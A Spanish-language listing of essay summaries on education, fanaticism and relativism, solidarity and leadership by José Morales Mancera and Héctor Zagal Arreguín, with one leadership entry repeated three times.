Resumen: "Hay tres ángulos fundamentales de trabajo en edades tempranas que se pueden compaginar perfectamente con la línea académica: el sentido común, la educación y el respeto por los demás. Si estos pilares se forjan desde pequeños, el futuro adulto tiene mayores posibilidades de convertirse en una persona más analítica, resolutiva y centrada en conseguir un interés común y un punto de entendimiento con los demás".

Fanatismo, tolerancia, relativismo

|José Morales Mancera | 2010

Resumen: No da lo mismo en la vida práctica pensar de cualquier manera: ni el fanático estático, sin dinámica, ni el relativista tolerante sin criterio, que ha aventando la brújula al mar, junto con el piloto, logran cambios sociales positivos.

Solidaridad

|Héctor Zagal Arreguín | 2011

Resumen: Los griegos los advirtieron. La justicia sin fortaleza es estéril. En términos cristianos esto significa que para vivir la solidaridad hemos de estar dispuestos a vivir la austeridad y la sobriedad. De lo contrario, pervertimos la solidaridad y la convertimos, en el mejor de los casos, en una filantropía caricaturizada

Liderazgo y el arte de saber mandar

|Héctor Zagal Arreguín | 2008

Resumen: El liderazgo no se practica en soledad. Es una práctica comunitaria, una relación simbiótica entre mandante y subordinados que se va perfeccionando con las buenas órdenes y el correcto obedecimiento. El liderazgo se construye desde la alteridad.

Liderazgo y el arte de saber mandar

|Héctor Zagal Arreguín | 2008

Resumen: El liderazgo no se practica en soledad. Es una práctica comunitaria, una relación simbiótica entre mandante y subordinados que se va perfeccionando con las buenas órdenes y el correcto obedecimiento. El liderazgo se construye desde la alteridad.

Liderazgo y el arte de saber mandar

|Héctor Zagal Arreguín | 2008

Resumen: El liderazgo no se practica en soledad. Es una práctica comunitaria, una relación simbiótica entre mandante y subordinados que se va perfeccionando con las buenas órdenes y el correcto obedecimiento. El liderazgo se construye desde la alteridad.